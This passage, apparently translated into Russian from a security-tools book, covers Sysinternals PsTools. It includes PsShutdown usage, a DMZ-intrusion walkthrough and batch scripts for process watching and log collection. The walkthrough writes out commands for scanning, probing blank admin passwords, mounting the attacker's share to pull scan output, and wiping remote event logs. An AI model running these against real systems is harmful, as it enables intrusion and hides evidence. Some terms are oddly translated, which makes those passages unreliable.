PsShutdown
PsShutdown - исключение из правил для набора PsTools. Программа обеспечивает те же самые функции, что аналогичное средство из набора Resource Kit. Обе программы работают удаленно. Вы можете разгрузить сервер или остановить незаконченный процесс разгрузки. PsShutdown используется, как это показано ниже (psshutdown вводится без параметров, чтобы продемонстрировать доступные параметры).
C:\>psshutdown.exe PsShutdown v1.01 - Local and remote shutdown/reboot program Copyright (C) 2000 Mark Russinovich Sysinternals - www.sysinternals.com usage: psshutdown [-t nn] [-m "message"] [-f] [-r] [-a] [-l | \\computer] -t Specifies countdown in seconds until shutdown (default: 20 seconds) -m Message to display to logged on users -f Forces running applications to close -r Reboot after shutdown -a Abort a shutdown (only possible while countdown is in progress) -l Shutdown the local system \\computer Shutdown the remote computer specified
Нет никаких особых преимуществ использования этой утилиты. Чтобы просто разгрузить компьютер, воспользуйтесь параметром -f; это работает аналогично команде shutdown -c -y из Resource Kit.
Пример из жизни. Проникновение в DMZ
Строгие правила брандмауэра все больше закрывают порты, которые сеть открывает для интернета. Хорошая архитектура сети помещает такие серверы высокого риска, как Web, почтовый и DNS в сегменты сети, отделенные от внутренней корпоративной сети и интернета, т.е. в область, относящуюся к демилитаризованной зоне, или DMZ. Однако корпоративная сеть может быть враждебной к Web-серверам и базам данных DMZ во многих отношениях. "Тревожный звонок" может обнаружить на рабочем месте пользователя PCAnywhere, беспроводный дисковод может обнаружить плохо защищенную точку доступа, которая предлагает адрес Dynamic Host Configuration Protocol (DHCP), или зловредный внутренний пользователь может пожелать залезть в кредитные карты, хранящиеся в базе данных.
В любом случае порты NetBIOS между корпоративной сетью и DMZ чаще всего открыты. Несмотря на это, атака хакеров из интернета вызывает беспокойство, верно? Взгляните на то, как PsTools рассортировал Web-адреса. Во-первых, наш взломщик находится в корпоративной сети (IP-адрес в диапазоне 10.0.0.x), он получил доступ из беспроводного сетевого информационного центра (NIC). Целевая сеть - это Web-серверы и базы данных диапазона 192.168.17.x. Сканирование порта показывает только несколько открытых служб.
C:\fscan -p1-1024 192.168.17.1-192.168.17.255 192.168.17.1 139/tcp 192.168.17.1 135/tcp 192.168.17.1 3389/tcp 192.168.17.1 445/tcp 192.168.17.39 80/tcp 192.168.17.39 139/tcp 192.168.17.39 135/tcp 192.168.17.39 445/tcp 192.168.17.148 80/tcp 192.168.17.148 139/tcp 192.168.17.202 445/tcp 192.168.17.239 139/tcp 192.168.17.239 135/tcp 192.168.17.239 445/tcp
Похоже, что только порты Web и NetBIOS открыты; порты SQL должны быть блокированы брандмауэром.
Хакер может запустить Winfingerprint, чтобы выяснить истинное имя пользовательского профиля администратора в случае, если системный администратор его переименовал (SID 500). Здесь взломщик запускает быстрый тест в диапазоне, чтобы определить любые системы с пустым паролем администратора. Бесполезно пробовать каждый IP-адрес сети 192.168.17.x, потому что многие из них не используются. Файл hosts.txt содержит IP-адрес или имя хоста только работающих систем.
C:\for /F %%h in (hosts.txt) do psinfo -u Administrator -p "" \\192.168.17.%%h systeminfo_192.168.17.%%h.txt
Если любая из команд прошла успешно, то взломщик обнаружил пользовательский профиль с пустым паролем. Заметьте, что атакующий нацелился на пользовательский профиль локального администратора каждой системы. В данном случае, на хосте 192.168.17.148 пароль администратора был пуст. PsInfo также обнаружил это (hotfix).
SP2SRP1: Windows 2000 Security Rollup Package...
Этот пакет со сдвигом строк означает, что наиболее распространенные уязвимости IIS залатаны, но это не предотвратило атаку, раз доступ к командной строке был получен с помощью PsExec.
Взломщик создает общий ресурс Windows в своей собственной системе, 10.0.0.99, как хранилище для информации, собранной с Web-сервера. Затем атакующий применяет PsExec, чтобы заставить Web-сервер смонтировать этот ресурс.
C:\psexec -u Administrator -p "" \\192.168.17.148 net use * \\10.0.0.99\tools pass /u:user Drive H: is now connected to \\10.0.0.99\tools. The command completed successfully.
Затем взломщик запускает другой fscan с атакованного Web-сервера. Результаты должны отличаться, потому, что сканирование происходит за брандмауэром (см. лекцию "Перенаправление портов" на предмет методов доступа к портам, блокированных брандмауэром).
C:\psexec -u Administrator -p "" \\192.168.17.148 -c fscan.exe -q -o h:\fscan.output -bp1-65535 192.168.17.0-192.168.17.255
Посмотрите, что здесь происходит. Fscan копируется на систему-жертву (-c); система-жертва запускает fscan и сохраняет отчет (-o h:\fscan.output) на системе взломщика. Помните, что предыдущий шаг отобразил диск H: системы-жертвы в системе взломщика. Глядя в отчет, fscan обнаружил еще одну службу.
192.168.17.202 1433/tcp
Взломщик нашел базу данных!
Затем атакующий запускает PsExec на 192.168.17.202 и собирает некоторую основную информацию. Вот некоторые из команд, которые надо запустить.
- ipconfig /all. Определяет, является ли система системой со многими IP-адресами. Web-сервер часто имеет две сетевые карты - одну для интернет IP-адреса и другую для внутренних связей с базой данных.
- netstat -na. Просматривает текущие связи и принимающие службы. Это отличный способ идентифицировать другие сети. Например, мы можем провести сканирование портов всего пространства сети класса А (10.0.0.0/8) или проверить отчет netstat и обнаружить связи со специфическими сетями класса С (10.0.35.0/24, 10.0.16.0/24 и т.д.).
- dir /s c:\. Рекурсивный список директорий, повторяемый для каждого из дисков. Наряду со средством PsService, это определяет, какие программы инсталлированы. Это может также выявить чувствительные файлы, такие, как global.asa, которые содержат чистые текстовые пароли.
Как только все данные были украдены с сервера, взломщик вычищает файлы протоколов (logfiles) и переходит к следующей цели.
C:\psloglist.exe -c Application -u Administrator -p "" \\192.168.17.148 C:\psloglist.exe -c System -u Administrator -p "" \\192.168.17.148 C:\psloglist.exe -c Security -u Administrator -p "" \\192.168.17.148
Пример из жизни. Одомашнивание IDS
PsTools кажется настолько элементарным, что вы можете усомниться в его полезности. Спросите себя, что вы хотите сделать. Способность дистанционно взаимодействовать со службами, файлами протоколов (logfiles) и командной строкой - это не то, над чем можно посмеяться. Фактически, немного гениальности в комбинации с несколькими короткими batch-файлами и запланированными задачами может создать систему вторжения/обнаружения (IDS) среднего уровня. Рассмотрите следующие сценарии.
Управляющие процессы. В 2001 г. прогон взломов IIS отправлял программные оболочки cmd.exe обратно к взломщику. Иногда cmd.exe переименовывали в root.exe.
Чтобы справиться с таким типом взлома, вы сначала настраиваете усиленную систему Windows на работу в качестве главного административного сервера. Затем запускаете следующий сценарий, чтобы просмотреть на предмет нестандартных процессов (вам понадобятся команды sleep и tee из Resource Kit или Cygwin).
rem ProcWatch.bat| rem usage: procwatch.bat IP address username password :loop pslist \\%1 -u %2 -p%3 cmd | tee procwatch.txt sleep 60 goto :loop
Обратите внимание, что batch-файл принимает IP-адрес, имя пользователя и пароль из командной строки. Это гарантирует, что мы никогда не пишем пароль, который делает файл универсально применимым. Заметьте, что файл истории DOS на главном сервере запомнит пароль. Следующее диалоговое окно свойства (Properties) показывает, как установить размер буфера в ноль, используя свойства (Properties) cmd.exe.
Вы можете наблюдать отчет на командном экране, или запустить другие средства, чтобы просмотреть файл procwatch.txt автоматически на присутствие cmd.exe.
Сбор файлов протоколов (Log Files). Другое преимущество использования PsExec и PsLogList состоит в консолидации файлов протоколов (logfile). Мы уже продемонстрировали, насколько полезен PsLogList для сбора и чистки удаленных протоколов событий. Файлы протоколов Web-сервера требуют более сложного подхода. Вы можете запускать сценарии на каждом отдельном Web-сервере, которые копируют протоколы, или запустить один сценарий со своего главного административного сервера, который собирает файлы протоколов со всех Web-серверов. В дополнение к следующим двум batch-файлам, вам необходимо задать следующее.
- C:\shares\dropoff\. Директория, размещенная на главном сервере, в которой пользователь Guest записывает привилегии.
- C:\logs\. Директория для хранения файлов протоколов (logfiles). Создайте вложенные директории по имени каждого Web-сервера.
- batch-файл сбора. Это файл, чтобы запускать процесс сбора.
rem CollectLogs.bat rem usage: CollectLogs.bat username password
for /F %%h in (webservers.txt) do rotate.bat %%h %1 %2
Это вспомогательный batch-файл, который выполняет фактическую работу.
rem rotate.bat rem usage: rotate.bat IP address username password
rem Stop the Web Service psservice \\%1 -u %2 -p %3 stop w3svc rem Mount the master's file share for dropping off files psexec \\%1 -u %2 -p %3 net use L: \\master\dropoff plainpass /u:guest rem Copy the files from the web server to the master psexec \\%1 -u %2 -p %3 cmd copy C:\Winnt\System32\LogFiles\W3SVC1\*.log L:\ rem Move the files from the master's dropoff folder to the log folder rem for the web server move C:\shares\dropoff\*.log C:\logs\%1\ rem Disconnect the share psexec \\%1 -u %2 -p %3 net use L: /del rem Restart the Web Service psservice \\%1 -u %2 -p %3 start w3svc
Вы можете запускать его каждый день, неделю, месяц. Он оставляет файлы протоколов (logfiles) на Web-сервере, но создает копии на вашем главном сервере. Затем вы можете запускать другие сценарии, чтобы производить автоматизированный обзор протоколов.
<